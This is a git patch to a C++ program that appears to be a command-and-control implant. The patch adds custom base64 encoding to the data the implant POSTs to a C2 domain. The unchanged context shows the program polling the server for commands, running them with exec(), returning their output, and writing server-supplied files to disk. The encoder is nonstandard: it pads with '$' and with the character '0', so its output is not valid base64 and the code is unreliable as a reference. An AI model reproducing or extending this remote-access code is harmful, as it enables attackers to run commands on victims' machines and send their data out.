From 120c8ca6d66f520784279a370f56a7b98af7c995 Mon Sep 17 00:00:00 2001 From: elimin8 Date: Mon, 13 Jun 2022 22:05:10 +0100 Subject: [PATCH] Added base64 encoding for data --- RCB.cpp | 83 ++++++++++++++++++++++++++++++++++++++++++++------------- 1 file changed, 65 insertions(+), 18 deletions(-) diff --git a/RCB.cpp b/RCB.cpp index cca8486..5d0b438 100755 --- a/RCB.cpp +++ b/RCB.cpp @@ -1,6 +1,7 @@ #include #include +#include #include #include #include @@ -24,15 +25,61 @@ size_t writeCallback(void *contents, size_t size, size_t nmemb, std::string *s) return newLength; } +std::string encodeTriplet(std::uint8_t iByte1, std::uint8_t iByte2, std::uint8_t iByte3) +{ + std::array encodeTable{'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', + 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', + 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/'}; + std::string sEncodedTriplet = ""; + std::uint32_t combinedTriplet = (iByte1 << 16) | (iByte2 << 8) | iByte3; + sEncodedTriplet += encodeTable[combinedTriplet >> 18]; + sEncodedTriplet += encodeTable[combinedTriplet >> 12 & 0x3F]; + sEncodedTriplet += encodeTable[combinedTriplet >> 6 & 0x3F]; + sEncodedTriplet += encodeTable[combinedTriplet & 0x3F]; + return sEncodedTriplet; +} + +std::string b64Encode(std::string sWriteData) +{ + std::string sEncodedData = ""; + std::string sEncodedBuffer; + + while (sWriteData.length() > 0) + { + if (sWriteData.length() >= 3) + { + sEncodedData += encodeTriplet(sWriteData[0], sWriteData[1], sWriteData[2]); + sWriteData.erase(0, 3); + } + else if (sWriteData.length() == 2) + { + sEncodedBuffer = encodeTriplet(sWriteData[0], sWriteData[1], '0'); + sEncodedBuffer.replace(3, 1, "$"); + sEncodedData += sEncodedBuffer; + sWriteData.erase(); + } + else if (sWriteData.length() == 1) + { + sEncodedBuffer = encodeTriplet(sWriteData[0], '0', '0'); + sEncodedBuffer.replace(2, 2, "$$"); + sEncodedData += sEncodedBuffer; + sWriteData.erase(); + } + } + return sEncodedData; +} + std::string sendData(std::string sParam1, std::string sValue1, std::string sParam2 = "", std::string sValue2 = "") { CURL *curl; CURLcode res; std::string sReadData; + sValue1 = b64Encode(sValue1); std::string sWriteData = sParam1 + "=" + sValue1; if (sParam2 != "") { + sValue2 = b64Encode(sValue2); sWriteData = sWriteData + "&" + sParam2 + "=" + sValue2; } @@ -40,18 +87,18 @@ std::string sendData(std::string sParam1, std::string sValue1, std::string sPara if (curl) { - curl_easy_setopt(curl, CURLOPT_PROXY, STR(sProxy)); // set proxy to use - curl_easy_setopt(curl, CURLOPT_URL, STR(sC2Domain)); // c2 domain to connect to - curl_easy_setopt(curl, CURLOPT_HTTPAUTH, CURLAUTH_BASIC); // http basic auth - curl_easy_setopt(curl, CURLOPT_POST, 1L); // choose http post method - curl_easy_setopt(curl, CURLOPT_USERNAME, STR(sUsername)); // set username for http auth - curl_easy_setopt(curl, CURLOPT_PASSWORD, STR(sPassword)); // set password for http auth - curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writeCallback); // write function for storing response - //char *cWriteData = curl_easy_escape(curl, sWriteData.c_str(), sWriteData.length()); + curl_easy_setopt(curl, CURLOPT_PROXY, STR(sProxy)); // set proxy to use + curl_easy_setopt(curl, CURLOPT_URL, STR(sC2Domain)); // c2 domain to connect to + curl_easy_setopt(curl, CURLOPT_HTTPAUTH, CURLAUTH_BASIC); // http basic auth + curl_easy_setopt(curl, CURLOPT_POST, 1L); // choose http post method + curl_easy_setopt(curl, CURLOPT_USERNAME, STR(sUsername)); // set username for http auth + curl_easy_setopt(curl, CURLOPT_PASSWORD, STR(sPassword)); // set password for http auth + curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writeCallback); // write function for storing response + // char *cWriteData = curl_easy_escape(curl, sWriteData.c_str(), sWriteData.length()); curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE_LARGE, sWriteData.length()); // set the post request field size - curl_easy_setopt(curl, CURLOPT_POSTFIELDS, sWriteData.c_str());//); // choose the data to send in the post request - curl_easy_setopt(curl, CURLOPT_WRITEDATA, &sReadData); // write the data to the writeCallback function - curl_easy_perform(curl); // run query + curl_easy_setopt(curl, CURLOPT_POSTFIELDS, sWriteData.c_str()); //); // choose the data to send in the post request + curl_easy_setopt(curl, CURLOPT_WRITEDATA, &sReadData); // write the data to the writeCallback function + curl_easy_perform(curl); // run query } return sReadData; } @@ -87,7 +134,7 @@ int main() while (true) { sResponse = sendData("msg", "reqcmd"); - std::cout << sResponse << std::endl; + std::cout << sResponse << std::endl; if (std::regex_match(sResponse, rRun)) // if the server has provided us with a command to run { @@ -113,14 +160,14 @@ int main() std::string sOutput = exec(sData[1]); std::cout << sOutput; sResponse = sendData("result", sOutput); // execute the command, saving the response to sResponse - std::cout << sResponse << std::endl; + std::cout << sResponse << std::endl; while (true) { if (sResponse != sOk) // if server does not respond as expected { - sResponse = sendData("result", sOutput); // send returned data again - std::cout << sResponse << std::endl; + sResponse = sendData("result", sOutput); // send returned data again + std::cout << sResponse << std::endl; } else { @@ -144,7 +191,7 @@ int main() bFilename = false; }*/ - if (sResponse[i] == '=' || sResponse[i] == '&') // if we have reached the end of the parameter + if (sResponse[i] == '=' || sResponse[i] == '&') // if we have reached the end of the parameter { sData.push_back(sSplit); // add the sSplit string to the vector of strings sCommands sSplit = ""; // set sSplit to empty @@ -160,11 +207,11 @@ int main() } } - fFile.open(sData[1]); // open a file for writing with the filename provided + fFile.open(sData[1]); // open a file for writing with the filename provided if (fFile) { - fFile << sData[3]; // write the content of the file + fFile << sData[3]; // write the content of the file std::cout << sendData("msg", "saved"); } else